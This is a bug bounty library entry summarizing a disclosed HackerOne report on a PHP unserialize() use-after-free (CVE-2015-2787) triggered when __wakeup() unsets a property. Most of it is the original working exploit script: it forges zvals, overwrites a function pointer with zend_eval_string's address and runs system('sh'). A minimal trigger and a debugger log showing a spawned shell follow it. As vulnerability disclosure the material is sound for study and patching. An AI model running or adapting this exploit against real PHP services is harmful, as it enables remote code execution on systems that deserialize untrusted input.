# Use After Free Vulnerability in unserialize()

PHP unserialize() use-after-free via __wakeup() unsetting a property, then R:/r: references to freed memory enable arbitrary code execution.

- Payout: hidden
- Severity: critical
- Program: Internet Bug Bounty
- Found by: ryat
- Disclosed: 2015-03-17
- CVE: CVE-2015-2787
- Write-up quality: 8/10
- Original: https://hackerone.com/reports/73235
- Library page: https://bugbountylibrary.com/r/h1%3A73235
- Tags: area:oss domain:oss impact:rce kind:bounty platform:hackerone sev:critical tech:php technique:source-review vuln:deserialization vuln:memory-corruption vuln:rce

**Target:** PHP unserialize() / Zend engine object deserialization
**Root cause:** object_common2() calls __wakeup() after processing nested data; a __wakeup() that unsets a property frees the zval and its children, but unserialize() still permits R:/r: references to that freed memory.
**Steps:**
1. Craft serialized payload with an object whose __wakeup() unsets $this->var: `a:2:{i:0;O:9:"evilClass":1:{s:3:"var";a:1:{i:0;i:1;}}i:1;R:4;}`
2. unserialize() processes nested data, then invokes __wakeup() which frees the property zval
3. The trailing `R:4;` reference points into the freed memory, giving a dangling reference
4. For exploitation, place a fake zval string in the payload and use `R:4` inside a nested array to obtain a controlled reference to freed memory
5. Overwrite the fake zval's function pointer bytes (e.g. zend_eval_string address) via the dangling reference
6. Trigger intval() on the crafted reference to call the overwritten pointer, executing `system('sh')`
**How found:** Code review of object_common2() in the unserialize implementation: noticed __wakeup() is called after nested data processing and that R:/r: references are resolved without checking whether the target zval was freed by user code in __wakeup().
**Exploitation:** Attacker controls serialized input to unserialize(); a fake zval is embedded as a string, a dangling R: reference aliases it, and the attacker overwrites the zval's function handler pointer with zend_eval_string's address, then triggers intval() to invoke it, achieving arbitrary command execution.
**Escalation:** Memory leak of arbitrary blocks or full code execution from a single unserialize() call on attacker-controlled data.
**Insight:** Magic methods invoked mid-deserialization (__wakeup, __destruct) can free or mutate zvals that later reference-resolution (R:/r:) still trusts; look for ordering gaps between user-code callbacks and reference fixups in any serializer.

## Proof of concept (copied exactly from the original report)

**PoC unserialize UAF exploit script**

```
<?php

$f = $argv[1];
$c = $argv[2];

$fakezval1 = ptr2str(0x100b83008);
$fakezval1 .= ptr2str(0x8);
$fakezval1 .= "\x00\x00\x00\x00";
$fakezval1 .= "\x06";
$fakezval1 .= "\x00";
$fakezval1 .= "\x00\x00";

$data1 = 
'a:3:{i:0;O:9:"evilClass":1:{s:3:"var";a:1:{i:0;i:1;}}i:1;s:'.strlen($fakezval1).':"'.$fakezval1.'";i:2;a:1:{i:0;R:4;}}';

$x = unserialize($data1);
$y = $x[2];

// zend_eval_string()'s address
$y[0][0] = "\x6d";
$y[0][1] = "\x1e";
$y[0][2] = "\x35";
$y[0][3] = "\x00";
$y[0][4] = "\x01";
$y[0][5] = "\x00";
$y[0][6] = "\x00";
$y[0][7] = "\x00";

$fakezval2 = ptr2str(0x3b296324286624); // $f($c);
$fakezval2 .= ptr2str(0x100b83000);
$fakezval2 .= "\xff\xff\xff\xff";
$fakezval2 .= "\x05";
$fakezval2 .= "\x00";
$fakezval2 .= "\x00\x00";

$data2 = 
'a:3:{i:0;O:9:"evilClass":1:{s:3:"var";a:1:{i:0;i:1;}}i:1;s:'.strlen($fakezval2).':"'.$fakezval2.'";i:2;a:1:{i:0;R:4;}}}';

$z = unserialize($data2);
intval($z[2]);

function ptr2str($ptr)
{
        $out = "";
        for ($i=0; $i<8; $i++) {
                $out .= chr($ptr & 0xff);
                $ptr >>= 8;
        }
        return $out;
}

class evilClass {
        
        public $var;
        
        function __wakeup() {
                unset($this->var);
//              $this->var = 'ryat';
        }
}

?>
```

**Minimal unserialize UAF trigger**

```
<?php

class evilClass {

        public $var;

        function __wakeup() {
                unset($this->var);
//              $this->var = 'ryat';
        }
}

$data = unserialize('a:2:{i:0;O:9:"evilClass":1:{s:3:"var";a:1:{i:0;i:1;}}i:1;R:4;}');

?>
```

**Command line PoC execution**

```
(lldb) run uafpoc.php assert "system\('sh'\)==exit\(\)"
Process 13472 launched: '/usr/bin/php' (x86_64)
sh: no job control in this shell
sh-3.2$ php -v
PHP 5.5.14 (cli) (built: Sep  9 2014 19:09:25)
Copyright (c) 1997-2014 The PHP Group
Zend Engine v2.5.0, Copyright (c) 1998-2014 Zend Technologies
sh-3.2$ exit
exit
Process 13472 exited with status = 0 (0x00000000)
```

